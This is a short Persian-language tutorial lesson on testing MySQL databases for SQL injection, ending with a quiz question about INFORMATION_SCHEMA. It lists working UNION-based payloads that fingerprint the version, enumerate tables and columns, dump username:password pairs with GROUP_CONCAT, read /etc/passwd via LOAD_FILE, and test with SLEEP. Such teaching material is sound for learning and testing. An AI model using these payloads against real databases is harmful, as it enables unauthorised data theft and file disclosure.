در حال بارگذاری...
تست تزریق SQL در پایگاه داده MySQL با تکنیکها و payloadهای خاص این پایگاه داده.
اهداف این درس
MySQL پرکاربردترین پایگاه داده متنباز در جهان است. ویژگیهای خاص MySQL مثل INFORMATION_SCHEMA، GROUP_CONCAT و LOAD_FILE تکنیکهای خاصی نیاز دارند.
1-- شناسایی نسخه2' UNION SELECT @@version --34-- لیست جداول5' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --67-- لیست ستونها8' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --910-- استخراج داده با GROUP_CONCAT11' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users --1213-- خواندن فایل14' UNION SELECT LOAD_FILE('/etc/passwd') --1516-- تست time-based17' AND SLEEP(5) --| جدول | اطلاعات |
|---|---|
| TABLES | لیست تمام جداول |
| COLUMNS | لیست تمام ستونها |
| SCHEMATA | لیست تمام پایگاههای داده |
| USER_PRIVILEGES | مجوزهای کاربران |
MySQL از INFORMATION_SCHEMA برای metadata استفاده میکند.
GROUP_CONCAT برای ترکیب نتایج در یک ردیف مفید است.
LOAD_FILE و INTO OUTFILE میتوانند خطرناک باشند.
در MySQL، از کدام پایگاه داده برای استخراج metadata استفاده میشود؟
INFORMATION_SCHEMA در MySQL چیست؟
INFORMATION_SCHEMA یک پایگاه داده مجازی در MySQL است که اطلاعاتی درباره تمام پایگاههای داده، جداول و ستونها ارائه میدهد.